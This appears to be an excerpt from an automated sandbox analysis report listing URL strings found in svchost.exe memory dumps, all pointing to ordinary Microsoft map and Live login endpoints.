Source: svchost.exe, 0000000E.00000002.308642618.000002DD32842000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308085043.000002DD32841000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000E.00000002.308642618.000002DD32842000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308085043.000002DD32841000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.307901327.000002DD32847000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.382349978.00000159C30E9000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000A.00000003.301140357.00000159C30CC000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfY
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfy.srf
Source: svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/I8
Source: svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000A.00000003.281749419.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281638546.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502ls
Source: svchost.exe, 0000000A.00000003.281749419.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281638546.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600l
Source: svchost.exe, 0000000A.00000003.281749419.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281638546.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601er
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf215f
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfL
Source: svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfY
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295662477.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293976037.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295899155.00000159C2954000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srfount.
Source: svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000A.00000002.626013358.00000159C3022000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/RST2.srf$
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/RST2.srfA7826
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/RST2.srfF0F68
Source: svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/RST2.srfcrjz
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/didtou.srfg#
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/didtou.srfo.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281638546.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srffig.xml
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295662477.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293976037.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295899155.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 0000000A.00000003.281623912.00000159C2935000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285014507.00000159C2935000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfsrfsrf060805&fid=cp.live.com
Source: svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf)
Source: svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281800171.00000159C2965000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000A.00000003.302777888.00000159C2908000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=DSHTP0FLbt6eWxROHPPkOPsbTUIp65NBfa7P7Ik
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfssuer
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600mous
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601mous
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603t
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299886120.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300081747.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604t
Source: svchost.exe, 0000000A.00000003.281441377.00000159C2963000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
